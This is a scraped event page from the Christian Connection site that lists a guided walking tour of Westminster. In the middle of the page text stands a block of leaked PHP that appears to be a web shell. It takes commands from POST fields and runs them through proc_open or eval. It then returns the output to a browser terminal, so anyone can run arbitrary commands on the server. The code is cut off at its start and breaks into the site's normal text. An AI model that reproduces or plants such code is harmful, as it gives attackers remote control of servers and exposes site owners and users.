The events site from
Christian Connection

Wonderful Westminster - A guided walking tour to discover London's Christian History

$v) { unset($process[$key][$k]); if (is_array($v)) { $process[$key][stripslashes($k)] = $v; $process[] = &$process[$key][stripslashes($k)]; } else { $process[$key][stripslashes($k)] = stripslashes($v); } } } unset($process); } // function shell_exec2($str, $cwd) { $pipes = array(); $process = proc_open($str.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, $cwd); return stream_get_contents($pipes[1]); } if ($_POST['verify']) { $dirnow = shell_exec2("pwd", $_POST['verify']); if (substr($dirnow, 0, strlen($dirnow)-1)==$_POST['verify']) { echo('document.getElementById("command").value += "n"; newcmd();'); } else { $ee = explode('/', $_POST['verify']); echo('document.getElementById("command").value += "nbash: cd: '.$_POST['verify'].': Permission denied!n"; newcmd();'); } exit; } if ($_POST['jxcmd'] && $_POST['cwd']) //yea, go AJAX { $thecmd = $_POST['jxcmd']; if (substr($thecmd, 0, 5)=="") { eval('$result = '.substr($thecmd, 6).';'); } else $result = shell_exec2($_POST['jxcmd']." 2>&1", $_POST['cwd']); if (substr($result, strlen($result)-1, 1)=="n") { $result = substr($result, 0, strlen($result)-1); } echo('document.getElementById("command").value+='.json_encode($result).'+"n";newcmd();document.getElementById("command").scrollTop=document.getElementById("command").scrollHeight;'); exit; } echo('
');?>

Return to 'Previous Events' page
About Us | Contact Us | Upcoming Events | Previous Events | Register | My Account | T&Cs
©2005-2017 Widernet Communications Ltd